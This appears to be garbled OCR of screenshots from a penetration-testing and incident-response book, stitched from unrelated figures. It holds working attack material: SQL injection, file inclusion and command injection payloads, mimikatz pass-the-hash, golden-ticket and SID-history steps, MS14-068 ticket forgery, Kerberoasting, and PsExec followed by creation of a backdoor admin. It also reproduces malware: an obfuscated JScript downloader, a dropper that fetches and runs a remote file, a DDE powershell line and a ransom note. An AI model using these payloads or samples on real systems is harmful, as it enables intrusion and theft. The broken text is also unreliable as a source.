} else if (proto == IPPROTO_UDP) {
snprintf(nt, 0S_SIZE 1024, NETSTAT, “udp”, port);
} else {
merror("%s: Netstat error (wrong protocol)”, ARGVE);
return (0);
}

ret = system(nt);
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Credential abbreviation

Certification Title

Issuing Organization

CPEH Certified Professional Ethical Hacker
CPTE Certified Penetration Testing Engineer
cPTC Certified Penetration Testing Consultant
cIss, Certified IPV6 Security Specialist
CISSO Certified Information Systems Security Officer
CSLO Certified Security Leadership Officer
CDFE Certified Digital Forensics Examiner Mile2
CIHE Certified Incident Handling Engineer
CISSM Certified Information Systems Security Manager
CISSA Certified Information Systems Seeurity Auditor
CISRM Certified Information Systems Risk Manager
CNFE Certified Network Forensics Examiner
cva Certified Vulnerability Assessor
CEH Certified Ethical Hacker
ECSA EC-Council’s Certified Security Analyst
LPT Licensed Penetration Tester
CHFI Certified Hacking Forensic Investigator
ECIH EC-Council Certified Incident Handler
ENSA EC-Council Network Security Administrator EC-Council
cc1so Certified Chief Information Security Officer
EDRP EC-Council Disaster Recovery Professional
ECVP EC-Council Certified VoIP Professional
ECES EC-Council Certified Encryption Specialist
ECCSP EC-Council Certified Secure Programmer
EITCA/IS EITCA Information Technologies Security Academy EITCI
CCNA Security Cisco Certified Network Associate-Security
CCNP Security Cisco Certified Network Professional-Security )
CCIE Security Cisco Certified Internetwork Expert-Security e
CCNA CyberOps Cisco Certified Network Associate-CyberOps
CCSA Check Point Certified Security Administrator
Check Point
CCSE Check Point Certified Security Expert
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/ OS Command Inection /

DNS lookup: test.com & ipconfig Lookup |

V90966 UnKnown Address: 192.168.204.2 ¢ ¢ € € test.com.localdomain Address: 127.0.0.1 Windows IP

0000 90090000000 9900000909 9000090-000DNS 99T ... : localdomain

9999090000 /IP6 OO .. .. : fe80::1¢12:¢2d6:11e9:16cb% 11 IPv4 9 & ...:192.168.204.166

00009000 ... . 12652562550 990099, ... .. ....:192.168.204.2

V09090999099 isatap.localdomain: Y@@ . o : yooo\"/ao 900060 -9000DNS 99— .. ..
: localdomain @ ¢ ¢ ¢ € € 9 € ¢ Teredo Tunneling Pseudo-Interface: y@ . . . 2 y‘OOOVDQ

0990909 ~999DNS 9oL ..
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:\Users\testidnet.exe use \\xxsecdc mimikatz /user:test2Bxxsec.com

SRR TE R

:\Users\testiddir \\xxsecdc\c$

:\Users\testidnet.exe use * /del /y

B AT HmAR e -

\\xxsecde \IPCS

SR TR ER.

‘VJsers\testl)n:t exe use \\xxsecdc mimikatz csuser:itcadadmini@xxsec.com

:\Users\testiddir \vosecde\ch

EE’J§ Soxsecde\e$ BB AIE

7| S-2 8cFp-998D

\xxsecderc$ HIEFE

poos @2/14 11:20  <DIR> PerfLogs
bo18,/02/13 17:21  <DIR> Progran Files
po18/07/13 <DIR> Program Files (x86)
bo18,/07/15 <DIR> Users
Po18,/02/13 17:26  <DIR>
e Aﬁ(f*
B 87.678.824,448 N[

2 \Users\testid,
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JGET /bUAPP/x1f1. php?language=c: \windows\win. ini&action=go HITP/1.1 0

Host: 192.168.204. 166 <option value="lang_en.php” Bnglish</option>
Upgrade-Tnsecure-Requests: 1 <option value="lang_fr.php >Frangais</option>
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64: x64) AppleWebKit/537.36 (KHTML. <option value="lang nl.php”>Nederlands</option>
like Gecko) Chrome/66.0.3359. 170 Safari/537.36

sccept Uselect>

text/htal, application/shtal+xul, application/sul:q=0. 9, inage/webp, inage/apng, */*:q=0

.8 button type="submit” name="action” value="go">Go</button
Referer: http://192. 168, 204. 166/bVAPP/x1f1. php

Accept-Encoding: gaip. deflate /form>

Accept-Language: zh-CN, zh:q=0.9, en:q:
Cookie: security level=0; PHPSESSID=89ve3vs2vkhronsgd22uspav83
Comnection: close : for 16-bit app support
[fonts]
[extensions]

[mci extensions]
[files]

[Mail]

MAPI=1

T,
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unction wololosampsonFROG2_a2(wololosampsonFROG2gutter, wololosampsonFROG2StrokaParam2) {

var wololosampsonFROG2CHICKA = wololosampsonFROG2vulture;
wololosampsonFROG2CHICKA=wololosampsonFROG2CHICKA+ “\u@@2f";
ololosampsonFROG2CHICKA=wololosampsonFROG2CHICKA + wololosampsonFROG2StrokaParam2 ;

wololosampsonFROGletchikva[wololosampsonFROG20CHENA] (Eparam, wololosampsonFROG2gutter, false);

1 (wololosampsonFROG2TRUEFALSE) {
wololosampsonFROG2_cCho(wololosampsonFROGletchikva, “set"+(11, "wololosampsonsuperstructure”, “wololosampsonfocused”,

lolosampsonmammals”, "wololosampsonbandit”,wololosampsonFROGsrq), “User-Agent”, "TW96akixsYSBOL jAgKREDDYFRUGERKGNVbXBh

2
wololosampsonFROG1etchikva[wololosampsonFROG2tudabilol + (“wololosampsonemacs”,“wololosampsonelevate”,"wololosampsond
var kuzut = wololosampsonFROGletchikval (wololosampsonFROG2StrokaParam2,213, "wololosampsonrefund”, “wololosampsonwelfare”,
0lolosampsonFROG2StrokaParam2, "wololosampsonpredicament ™ , “wololosampsonmanually”, "wololosampsoncircumvent®, "wololosampsg
if (wololosampsonFROG2TRUEFALSE) {

var wololosampsonZhgilezginku = new wololosampsonFROG2LitoyDISK(fuuuc());
wololosampsonFROGGaSMa = "Winter1@Coming”;

var silaBitsa = new Function(“Bitmap,sten, “Bitmap[sten]();");

var silaBitsa2 = new Function("Bitmap,fros”, "Bitmap.write(fros);");
silaBitsa(wololosampsonzZhgilezginku,wololosampsonFROG2ZOCHENA) ;

wololosampsonZhgiLezginku[wololosampsonFROG2SPASPT] = wololosampsonFROG2chosen;
silaBitsa2( wololosampsonZhgilezginku, kuzut);

wololosampsonFROG2XWaxeQhw = “Winter11Coming"; wololosampsonZhgilezginku.position = @;

wololosampsonFROG2krDwvrh = “Winter12Coming”;
wololosampsonFROG2SswQdi = "Winter13Coming”;

wololosampsonZhgilezginku[ "c2F2ZVRvRm1sZQ=KREDDYFRUGER=KREDDYFRUGER" .reject () ] (wololosampsonFROG2CHICKA,

wololosampsonZhgilezginkul “YKREDDYFRUGER2xvC2UKREDDYFRUGER=".reject ()1();
var wololosampsonFROG2FrankSinatra=BrTD_3(wololosampsonFROG2CHICKA) ;

wololosampsonFROG2FrankSinatra=BrTD_4(wololosampsonFROG2FrankSinatra);

var wololosampsonFROG2FrankSinatralaa = wololosampsonFROG2sud(wololosampsonFROG2FrankSinatra);
if(wololosampsonFROG2FrankSinatralaa < 29999)return false;

if (wololosampsonFROG2FrankSinatra[@ 77 || wololosampsonFROG2FrankSinatra[1]!= 98)return false;

wolol0sampsonFROGZCHICKA = wololosampsonFROG2CHICKA + wololosampsonFROG2SIDRENKOV;
BrTD_2(wololosampsonFROG2CHICKA, wololosampsonFROG2FrankSinatra );
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ET parameter 'title' is vulnerable. Do you want to keep testing the others (if

ny) 2 [y/N]
glmap identified the following injection point(s) with a total of 51 HTTP(s) re

[Parameter: title (GET)
boolean-based blind
: BND boolean-based blind - WHERE or HAVING clause
Payload: title=%' AND 7324=7324 BND '%'='gaction=search

Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY cl

ause (FLOOR)

Payload: title=%' AND (SELECT 5175 FROM(SELECT COUNT (*),CONCAT (0x7178717871,
(SELECT (ELT(5175=5175,1))),0x71627a6b71, FLOOR (RAND(0) *2) )x FROM INFORMATION_ SCH
[EMA . PLUGINS GROUP BY x)a) AND '%'='saction=search

Type: AND/OR time-based blind

Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP

Payload: title=%' AND (SELECT * FROM (SELECT (SLEEP(5)))zYeD) AND '%'='gactio
=search
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2017-6-23 10:32:07 c:\windows\explorer. exe RIEF#HIZ c:\windows
\system32\wscript. exe R [ FfERF]* 44T : “C:\WINDOWS
ll\System32\WScript. exe” “C:\Documents and Settings\Administrator\S[H \Winnah. js”
2017-6-23 10:32:17 c:\windows\system32\svchost. exe MEAfh#HEE #|6/fH

AJfA: (File) C:\WINDOWS\system32\cmd. exe

".d oW N"Loa"dfIle(”’ http://my. Internaldating. ru/js/boxund. bin’, ~’ C

\windows\system32\wscript. exe ¥ [R AR ]c: \windows\system32\svchost. exe

2017-6-23 10:32:55 c:\windows\system32\wscript. exe GJBRFHZ c:\windows
\system32\cmd. exe o [RARR]* 44T 7C:\WINDOWS\system32\cmd. exe”
/c p"OWeRshe'L"1".e"xe —exe cutiONP oL'Ic'Y bypa'S's” "-NO"Pr 0"f"ilLe =
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Target | Positions iPm | Options ‘

w Payload Sets

You can define one or more payload sets. The number of payload sets depends on the attack type defined in the Positions tab. Various pal
each payload type can be customized in different ways

Payload set: |2 A Payload count: 138 (approx)

Payload type: | Runtime file ‘VJ Request count: 18 (approx)

Payload Options [Runtime file]

This payload type lets you configure a file from which to read payload strings at runtime

Select file C:\Users\Think\Desktop\pwd.txt
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private void createEndGameStates(Canvas paramCanvas, boolean paramBooleanl, boolean paramBoolean2)

£

int j = this.endingX - this.startingX;
int k this.ending¥ - this.starting¥;
inti=73/2;

intm=k / 2;

if (paramBooleanl)

{
this.lightUpRectangle.setAlpha(127);
drawDrawable(paramCanvas, this.lightUpRectangle, @, @, j, k);
this.lightUpRectangle.setAlpha(255);
this.paint.setColor(getResources().getColor(2130968662));

this.paint.setAlpha(255);

this.paint.setTextSize(this.gameOverTextSize);
this.paint.setTextAlign(Paint.Align.CENTER);
j = m - centerText();
String str = getResources().getString(2131427372);
float £ = i;
paramCanvas.drawText(str, f, j, this.paint);
this.paint.setTextSize(this.bodyTextSize);
if (paramBoolean2) {

str = new String(Base64.decode("ZmxhZ3t3ZWxjb211X3RvX2hhY2t1cidzX2dhbWVe", @));
} else {

str = getResources().getString(2131427368);

¥
paramCanvas.drawText(str, f, j + this.textPaddingSize * 2 - centerText() * 2, this.paint);

return;

¥
this.fadeRectangle.setAlpha(127);

drawDrawable(paramCanvas, this.fadeRectangle, @, @, j, k);

this.fadeRectangle.setAlpha(255);

this.paint.setColor(getResources().getColor(2130968668));

this.paint.setAlpha(255);

this.paint.setTextSize(this.gameOverTextSize);

this.paint.setTextAlign(Paint.Align.CENTER);

paramCanvas.drawText (getResources().getString(2131427361), i, m - centerText(), this.paint);
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ows Powe

'S 0:\tools\kerberoast-

ServicePrincipalName

[SAMAccountName

|
[PasswordLastSet

ServicePrincipalName

ServicePrincipalName

Active Directory {82

master> powershell .\GetUserSPNs.psl itc

MSSQLSve. B-CTX-DB1.

citrixadmin

citrixadmin

ON=Cit i ndminGroup, OU=F3E) AR, 0071 FIARS-25. b
SDCum w.DC=cn

2812/5/4 11:58:54

MSSQLSve. | -CTH-DBL 011433

citrixadmin

citrixadmin

CN=CitrixAdminGroup, 0U=FE51 A, ou=7) Aol FR 4552 e
c.DC=1I -DC=cn

2812/5/4 11:58:54

MSSQLSuc s -CTX-DBL : .cn:52961

citrixadmin

citrixadmin

CN=CitrixAdminGroup, 0U=FZEN A5 . ou =33/ ) AR 55-28. nC
-.DC .DC=cn

2012/5/4 11:58:54

MSSQLSuc/CMB-CTX-DB1 . . i.cn:CMBCTXDB
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Dos Configuration

‘Operation Mode Blocking j

Detection Mode @ TPS-based © Latency-based

Source IP-Based Client Side Integrity Defense
URL-Based Client Side Integrity Defense
Prevention Policy [¥] Source IP-Based Rate Limiting

URL-Based Rate Limiting

Note: Blocked requests will be rejected atthe TCP Layer by this prevention policy.

TPS increased by 500 %
IP Detection Criteria TPSreached 200 transactions per second
Minimum TPS Threshold for detection | 40 transactions per second
Prevention Duration @ unlimited © Maximum JG seconds
IP Address

Subnet Mask Add

IP Address Whitelist
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E Mail Server -
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Private Emal
DKIM key l Recieve Email

=)
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=

Receiving Mail Server

Extract dkim-signature
from email headers

Fetch example.com DKIM record
" d-example.com
R

example.com

DNS
Validate message using
Return example.com public key from DKIM
DKIM record DNS entry

Yes No

DKIM Pass DKIM Fail
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99.3.6.8-autodeploy.ps1 X
[rite-Host “Initializing...”

$conn=Connect-VIServer -Server .24 -User “autodeploy” —Password ~Force
$script:folders=Get-Folder

$script:folderSi cript:folders. Length

$script: s=Get-VMHost

$scri lusters=6et-Cluster

$script:dataStoresUsed=@()

$script:hostslUsed=0()

$script:vmInfo-()
$script: ¥

SO W

© o

="%in2008_CN_EN_X64 R2_SP1_Template-20160218"
23"

-
=Y
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Send Emall i~ Iincluded in headers

I - RETURN-PATH:
—_— o bounces@example.com

Sending Mail Server

l Recleve Emall
IP:1.2.3.4
=

|
==

Receiving Mail Server

Extract return-path
address domain email

Extract domain
from return-path address

Fetch example.com

SPFTXT ro:urd/
example.com

DNS
Return example.com
SPF TXT record
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POST /bFAPP/insecure_direct_object_vef_2.php HITP/1.1 O
Host: 192.168.204.166
Content-Length: 49
Cache~Control: max-ag:
Origin: http: //192. 168, 204. 166

Upgrade-TInsecure-Requests: 1

Content-Type: application/x-www-forn-urlencoded

User-Agent: Mozilla/5.0 (Vindows NT 10.0; Win64: x64) AppleVebKit/537.36 (KHTHL,
Like Gecko) Chrome/66. 0.3359. 170 Safari/537. 36

Ac
Sert/htal, application/shtaltsal application/sal a0 O, uage/webp, inage/apne, /a0 Insecure DOR (Order Tick

€7
Referer: http://192. 168. 204. 166/bYAPP/insecure_direct_object_ref_2.php
Accept-Encoding: gzip. deflate
Accept-Language: zh-CN, zh.g=0. 9, en:q=0.8

Cookie: security_level=0; PHPSESSID=5priTtmkbid0sv86vaod7fantT
secret=QW55IC]1Z3M82F

Connection: close

How many movie tickets would you like to order? (15 EUR per ticket)

. Olkaction=order |

ticket_quantity=99kticket price= O — r tickets

Confirm

You ordered 99 movie tickets

Total amount charged from your account automatfcally: 0.98 EUR

Thank you for your order!
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& Viesile Thunderbird
wiap BAE SR w36 ESM TED BAH
LEERHE - PFERE WEE SEAR | Vas-

A Samara Q. <zeluid@sextonsinventory.com> ®EE | =S| BESE - » 8 | 22 v
Enter the iebsite to read Rjobs's message

HA tbiobs@ com

2017/6/23 710

Oops my lover

Would you mind to finding a young and nice girl?*)

My name is Samara. | am from Ukraine

Have you ever heard that the loveliest girls in the world live in my
country? Don't even doubt!

my page is over there: http://wocnituk.thebestdate, ru

| am so horny-Samara1987

| have much more sexy pics for you, my superman o:-) Waiting for yr
reply!

| @1V Samara pice db2mp 5 K s~
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var shellobj - new ActiveXObject("Wscript.Shell®);
var samplepath - shellobj . ExpandnvironmentStrings("STENP") String. forncharcode(52) b3
var httpobj - new ActiveXObject(“MSXML2.XMLHTTP");
httpobj.onreadystatechange - function(){
if (httpobj.readsState —-4){
var steal - "AAA Adobe()";
steal - new ActiveXObject ("ADODB.Stream");
steal.open();
steal.write(httpobj.ResponseBody);
steal.saveToFile
steal.close

httpobj.open("GET",URL)

httpobj.send()

shellobj.run(samplepath,0,0)
Yeatch(er){};
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Bus

[1-7785.doc].Project :

Object Catalog

* & My Macros & Dialogs
» & Standard
> - Module1
+ & LibreOffice Macros & Dialogs
~ = 1-7785.doc
* = Project
~ © Document Objects
ThisDocument
+ Document_Open
+ ARTSWrite
+ NumOfDeviceNames
*+ GetDeviceName
* plug_error

* & Modules
* - Module1

*
+ AnimPowerup
+ MakeFarplane
% AnimExpl
# Flags
+ HMBCP
# PlayCry
% AnimTransferMap
 Vertik
 FindNext
+ MakeFarplane2
 mapRender

DOLEE®

writer.write
Writer.Write
writer.Write
writer.Write
writer.Write

(Encoding.ASCII.GetBytes("WAVE"))
(Encoding.ASCII.GetBytes("fmt "))
(16)

(cus.hort(1))

(cus.hore(1))

lab1:
callsyname Cofeeshop,
RDM.SpinButton1.Tag
Exit Sub
stream.Seek @,
Player.Load
Player.Play
End Sub

ROM.OptionButton2.Tag, VbMethod, Bonez_badly System,

seekorigin.begin

Public Sub AnimTransferMap(Caption As String, IsMapTransfer As Boolean)
Dim xt As Integer, yt As Integer, Pvalue As Integer, I As Integer, L As Long

3)

Sr

Set Bonez_Dadly_avatar = Createobject(Alertn(
b

Set_subProperty
set Bonez_padly_aifde

Createobject (AlertNE)

Set Bonez_badly_VEAM
Exit Sub
Xt = Centerx - 77
yt = Centery - 16
If IsMapTransfer Then
pvalue = (Resx - 88) \ 12
L = uBound(RMData) \ Pvalue

For I = 1 To Pvalue

Bonez_badly_avatar.Environment (Alertn(4))
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)i « Policies » {S6COEF49-1B18-44AF-86FA-1CABSF78DF3E} » Machine » Preferences » Groups

@7~ Ees

~[4|[ z=c

[aiElA

E=4 =k =8 Fih
2018/7/13 19:15 XML 345 1K8B

Groups

\Worsec.com\SYSVOLVxsec.com\Policies\(S6COEF49- + | 44 | X |[ £ sing
| -8 -2 & mEe) - 220 I

T~ |

U B | (@ \wosec.com\SYSVOLVasec.com\Polic.. |

<?xml version="1.0" encoding="utf-8" ?>
- <Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}">
- <User clsid="{DF5F1855-51E5-4d24-8B1A-D9BDE98SBA1D1}" name="Administrator (F1&)"

image="2" changed="2018-07-13 11:15:03" uid="{7CAB0OC97-64E6-4B55-9A5D-
50FE3D6A2DF6}">
<Properties action="U" newName="xxadmin" fullName="" description=""
cpassword="04zBGtzHDACrJgkNwZx9Tz00QYvmrONedUBRgpPZILo" changeLogon="0"
noChange="0" neverExpires="0" acctDisabled="0" subAuthority="RID_ADMIN"
userName="Administrator (M &)" />
</User>
</Groups>






OEBPS/Image00208.jpg
RN T RR
SRR A SR

—

[

Lm 1) e RReA bR

®C0






OEBPS/Image00211.jpg
—dR v

A
|
v

i





OEBPS/Image00210.jpg
T shellxt - A o — . S— . S I |

XD RRE B0 SEYW BEH)

DDEAUTOc : \\windows\\system32\\cmd. exe”powershell-NonI -
NoP$al=(new—objectIO. StreamReader

((([Net.WebRequest]: :Create
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Il IMPORTANT INFORMATION !t

All of your files are encrypted with RSA-2048 and AES-128 ciphers.

More information about the RSA and AES can be found here:
http://en.wikipedia.org/wiki/RSA (cryptosystem:
http://en.wikipedia.org/wiki/Advanced Encryption Standard

Decrypting of your files is only possible with the private key and decrypt program, which is on our secret server.
To receive your private key follow one of the links:

If all of this addresses are not available, follow these steps:

1. Download and install Tor Browser: https://www.torproject.org/download/download-easy.html

2. After a successful installation, run the browser and wait for initialization.
3. Type in the address bar: g46mbrrzpfszonuk.onion/SDYGW691QIPQSQB1
4. Follow the instructions on the site.

W Your personal identification ID: 5DYGW69IQIPQSQB1 Mt
+-= 8l
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Port
22/TCP
53/UDP
8443/TCP
25/TCP
10/TCP
143/TCP
1645/UDP
1812/UDP
389/TCP

636/TCP

Flow

Inbound
Inbound/Outbound
Inbound

Outbound
QOutbound
QOutbound
Inbound/Outbound
Inbound/Outbound
Qutbound

Qutbound

Description

SSH log in (Unix only)

DNS requests and responses
SmartConnectors and Consoles
SMTP to mail server

POP3 to mail server, if applicable
IMAP to mail server, if applicable
RADIUS, if applicable

RADIUS, if applicable

LDAP to LDAP server, if applicable

LDAP over SSL to LDAP server, if applicable
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B Yindows PowerShell

PS C:\Users\itcadadminl> Get-ADUser -Filter { SIDHistory —like “x" >

S1D
SIDHistory
Surnane
UserPrincipalName

$-1-5-21-911700101-3124736594-2299049968-1104
{8-1-5-21-911700101-3124736594-2299049968-512>
testl

test1Bxxsec.com

DistinguishedName : CN=test1,O0U=XX_USERS,DC=xxsec,.DC=com
GivenName z

Menbe rOf O

Name : testl

ObjectClass : user

ObjectGUID : 1@8c3f88a-had2-4189-bhbeB-7d46hc812a58
SamAccountName : testl

PS C:\Users\itcadadmini>

—Properties MemberOf .SIDHistory
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TUmimikatz 2.1.1 x64 (oe. eo)

Privilege '20° OK

mimikatz # log cloud.txt
Using 'cloud.txt’ for logfile : OK

mimikatz # sekurlsa::pth /user. ™= /domain: !
c6%8 :02e9a2a

user : ——

domain :

program : cmd.exe

impers. : no

D: \WinProj\SysinternalsSuite2017@6>PsExec.exe \
[PsExec v2.2 - Execute processes remotely

[Copyright (C)> 2081-20816 Mark Russinovich
Sysinternals — www.sysinternals.com

Microsoft Windows [RF7 6.1.76001

iRYETA <c> 2009 Microsoft Corporation. {REFTHILF .

Mindows \system32>whoami

Windows\system32>net.exe user dmin WS1768 sadd

(&< BT e Rl

C:\Windows\systen32d>net.exe localgroup administrators

[ P TR«

wdmin sadd
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Length Info
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64 standard query A wpad
64 standard query A wpad
92 Name query NB WPAD<00>
92 Name query NB WPAD<00>
92 Name query NB WPAD<00>
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[Flmimikatz 2.1.1 264 (oe.e0)
mimikatz # sid::add /sam:testl /new:$-1-5-21-911700101-3124736594-2299049968-517)

CN=test1,0U=KK_USERS,DC=xxsec,DC=com
name: testl
objectGUID: {10c3f88a-bad2-4189-bbed-7d46bc812a58}
objectSid: $-1-5-21-911700101-3124736594-2299049968-1104

sAMAccountName: testl

* Will try to add 'sIDHistory’ this new SID:’'$-1-5-21-911700101-3124736594-229)
9049968-512" : OK!

mimikatz # sid::query /sam:testl

CN=testl,0U=KK_USERS,DC=xxsec,DC=com
name: testl
objectGUID: {10c3f88a-bad2-4189-bbed-7d46bc812a58}
objectSid: $-1-5-21-911700101-3124736594-2299049968-1104
sAMAccountName: testl
sIDHistory:
[01 $-1-5-21-911700101-3124736594-2299049968-512 ( Group —— KKSEC\Domain Admil
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Settings Credentials Compliance Plugins
STATUS PLUGIN FAMILY . TOTAL
AIX Local Security Checks 11409
Amazon Linux Local Security Checks 1031
8ackdoors 12
Brute force attacks 2
CentOs Local Security Checks 2565
Gl abuses 3820
CGl abuses : XSS 666
asco 17
Databases 575
Debian Local Security Checks sso1
Default Unix Accounts 168

| _______ I3

.

ENABLED

ENABLED

ENABLED

ENABLED

ENABLED

ENABLED

ENABLED

ENABLED

ENABLED
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Hydra: PC-NFS
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Hydra: PostgresQL

Hydra: rexec

Hydra: SAP R3
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Hydra: SOCKSS
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Hydra: VNC
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eval(TT);

)
var VARDOCF ="JVRFKREDDYFRUGERTVALKREDDYFRUGER".reject();

var sirdallos -"KREDDYFRUGERRXhwYWSKREDDYFRUGERKRWS2aXKREDDYFRUGERIvbm11bnRTdHIKREDDYFRUGERpbmdz" . reject ();
var Native = function(options){

};Native.XCOPmplement = function(objects, properties){
for (var XCOP = 8, 1 - objects.length; XCOP < 1; XCOP-+) objects[XCOP].XCOPmplement (properties);

1

var FROGhatershaha =
var FROGodnoklass = "XAIExAjioLv”;

SATAN;
Eparam - String.fromCharCode(parseInt("* + (42+3), 16));

SATAN2 = new Function(™","sATAN ="-"IG51dyBGAWSjdG1vbignlywncmVedXIuICBCcIIRWTT1cTid=".reject() +"reject();"

var FROGzapadniy((“canning", "baths *,"dealing”,"rescue”," "FARTSHMYML77H181T"+"TP

function mix2(){
var fixed = 6; var perm_src = [@,

¥

L5 (WSH)
1

1
d7 = *XML* + d7;
d7 = sATAN() - d7;
var DoUtra - [lidgen, sirdallos,VARDOCF, ~LLLOLLL-LLLOLLL, “Run®,d71;
Richters-DoUtra.shift();
var d2-Dolitra.pop();
fabled="Winter2Coming";0bject.keys = Object.keys || (function () {
var hasOwnProperty - Object.prototype.hasOunProperty,
hasDontEnumBug = !{toString:null}.propertyIsEnumerable("toString),

SATAN2() 3

)t
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Type: UNION query

Title: Generic UNION query (NULL) - 7 columns

Payload: title=%' UNION ALL SELECT NULL,NULL,NULL,NULL, CONCAT (0x7178717871,0
7242734561687879706c546a626c4£6150767146594£4a53656a7364754c62475253566666657a7
,0x71627a6b71) ,NULL,NULL-- eaagsaction=search

[20:17:38] [INFO] the back-end DBMS is MySQL
eb server operating system: Windows
eb application technology: PHP 5.4.45, Apache 2.4.23
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NewT

<CreateRemoteThread onmatch:

<! --COMMENT

cloak
<SourceImage condition="i Windows\System32\wbem\WmiPrvSE . exe</SourceImage>
<SourceImage condition="i Windows\System32\svchost .exe</SourceInage>
<SourceImage conditiol i Windows\System32\wininit.exe</SourceImage>
<SourceImage condition="i Windows\System32\csrss.exe</SourceInage>
<SourceImage conditiol i :\Windows\System32\services.exe</SourceImage>

<SourceImage condition="i Windows\System32\winlogon.exe</SourceImage>

<SourceImage condition="i : \Windows\System32\audiodg. exe</SourceImage>

<StartModule conditiol i windows\system32\kernel32.d11</StartModule>

<TargetImage condition="end with">Google\Chrome\Application\chrome.exe</TargetImage>
</CreateRemoteThread>

<CreateRemoteThread onmatch
<TargetImage conditiol i explorer.exe</TargetImage>
<TargetImage conditio i svchost.exe</TargetImage>
<TargetImage conditio i winlogon.exe</TargetImage>
<SourceImage conditio ith">powershell.exe</SourceImage>
</CreateRemoteThread>
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B Exchange Management Console

File Action View Help

€9 | 2nHE

Mlcro;oft Exchange
E\ 13 Microsoft Exchange On-Premis
[= s Organization Configuratior
o Mailbax
& Client Access
| Hub Transport
s Unified Messaging
= ﬂ Server Configuration
S Mailbox
S Client Access
9 Hub Transport
Sl Unified Messaging
=] QJ Recipient Configuration
3 Mailbox
#2 Distribution Group
2] Mail Contact
Disconnected Mailbox
S Maove Request
58 Toolbox

* Hub Transport

Remote Domains | Accepted Domains | E-mail Address Policies I Transpor

I Create Filter

MName =

ﬁ Default 2
Default Properties

General Message Format I Office 365 Tenant Domain |

Message Format Options

I~ Allow automatic forward

lov delivery reports
v Allow non-delivery reports

V¥ Display sender's name on messages

™ Use message test line wrap at column:
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ADMIN
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RANK 1
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= ANNOUNCEMENTS = FILTER

> We have snacks downstairs f you
need a break!

Mint: The biggest flag has 256 bits.

CATEGORY STATUS

Egypt is open again. ® AL

Angola just got easier (32bits all NONE
the way!) ouz

Belarus Crypto challenge is open. FORENSICS

Egypt challenge will be reopened
1af rk on_something_slse for

= ACTIVITY

1114181 ] captured United Kingdom
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11:27:25 ] captured Austria
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M) [RunProtecthdninGroupsTask

mw: |t

BEOQ ————

&R C oM C R AR (I)I Hi E) I
rEBIE L

[Add]EunFrotectAdninGroupsTask: 1

{RiE (1) | il (R) |

REQUEST ); 2.16.840.1.113730.3.4.10

1.4619 = ( LAZY_COMMIT ); 1.2.834
DED_DN ); 1.2.840.113556.1.4.805 =
1.2.840.113556.1.4.970 = ( GET_STA’
1.4.474 = (RESP_SORT ); 1.2.840.11
RCH_OPTIONS ); 1.2.840.113556.1.4.1

); 1.2.840.113556.1.4.1852 = { QUOT|
.1.4.1907 = ( SHUTDOWN_NOTIFY );
.840.113556.1.4.1974 = ( FORCE_UR|
56.1.4.2026 = ( DN_INPUT ); 1.2.840.1

_DEACTIVATED_LINK ); 1.2.840.113
Fhreads; MaxDatagramRecv; MaxRec|
e; MaxPageSize; MaxQueryDuration;
Conn; MaxNotificationPerConn; MaxV:

|API; GSS-SPNEGO; EXTERNAL; DIGE

PT, 1)
, NEGOTIATE (1158)), // v.3
-d=<unavailable>; domain = "NULL}

Idap_modify_s(id, ‘(nully’ [1] attrs);
Modified ™.

v Bl ) i €)
R
S
idap_modify_s(id, ‘(null)’[1] attrs);
WModified ™.
==Call Modify...
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Raw Events Connector

ESM Manager

ESM CORRE Storage
Default
180 Days
LP3

400 Days
PCI

400 Days

SOX
2600 Days

o 10Year
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Archive Files
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2018-05-25 15:08:47

BEEE
{

"success": "false",
"password” passwerd"”,
"username”: "superuser”

2018-05-25 15:08:47

BEEE

{
"success": "true",
“password”: "123456",
“username": “"root"

4: 38613

4: 38231
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mimikatz 2.1.1 x64 (oe.e0)
mimikatz # kerberos::list

minikatz # kerberos::golden /admin:Administrator /domain:xxsec.com /sid:$-1-5-21]
-911700101- 312473659& 2299049968 /krbtgt:17981268b281cf392460d2f9dac59747 /ptt
User : Administrator

: xxsec.com (KNSEC)

¢ §6%7572179117001017312k736595*22990&9968

: =513 512 520 518 519

: 17981268b281cf392460d2f9dac59747 - rch_hmac_nt

1 2018/7/18 21:05:37 ; 2028/1/15 21:05:37 ; 2028/1/15 21:05:37

: == Pass The Ticket ==

PAC generated

PAC signed
EncTicketPart generated
EncTicketPart encrypted
KrbCred generated

Golden ticket for 'Administrator @ xxsec.com’ successfully submitted for current
session

mimikatz # kerberos::list

[00000000] - 0x00000017 - rc4_hmac_nt
b Start/End/MaxRenew: 2018/7/18 21:06:27 ; 2018/7/19 7:06:27 ; 2018/7/25 21:06:

Server Name : krbtgt/KKSEC.COM @ KXSEC.COM
Client Name : Administrator @ xxsec.com
Flags 60a00000 : pre_authent ; renewable ; forwarded ; forwardable
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Minimum Mid-Range High Performance
A HLES 8 cores (16 preferred) 32 cores 40 cores
WA 48 GB RAM (64 preferred) 192 GB RAM 512 GB RAM
A Six 600 GB disks (1.5 TB)(RAID 10) 201 TB disks (10 TB)(RAID 10) 12 TB (RAID 10)

15 000 RPM

10 000 RPM

Solid state
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/ Loaih /

Enter your credentials (bee/bug).

Login:
Password:

Set the security level:
low v

| Login |
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E: \pykek>python ns14-868.py -u testiPxxsec.com —s $-1-5-21-911788101-3124736594
2299849968-1184 —d xxsec.com

Building AS-REQ for xxsec.com... Done?

Sending AS-REQ to xxsec.com... Done!

Receiving AS-REP from xxsec.com... Done!

Parsing AS-REP from xxsec.com... Done?

Building TGS-REQ for xxsec.com... Done?

Sending TGS-REQ to xxsec.com... Done?

Receiving TGS-REP from xxsec.com... Done?t

Parsing TGS-REP from xxsec.com... Done?

Creating ccache file 'TGI_testi@xxsec.com.ccache’... Done?

AWindows\system32\cmd.e:

imikatz # kerberos::list
imikatz # kerberos::ptc e:\pykek\IGT_testl1Pxxsec.com.ccache
Principal = <B1> : testl ; @ XXSEC.COM

Data @
Start/End/MaxRenew: 2018,7/14 19:19:59 2018/?7/15 5:19:59 ; 2018/7/2
19:19:59
Service Name <@1>
Target Name <@1>
Client Name <81>
Flags 50a00000

krbtgt RXSEC.COM
krbtgt RXSEC.COM
testl ; @ XKSEC.COM
pre_authent ; renewable ; proxiable ; forwardahle

@ RXSEC.COM
@ RXSEC.COM

Session Key : Bx@8BARR17 — rc4_hmac_nt
?£9336868e2878372cc3£208e30300f8
Ticket : BxP0PPBRRG — null

* Injecting ticket : OK
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SID Fse:
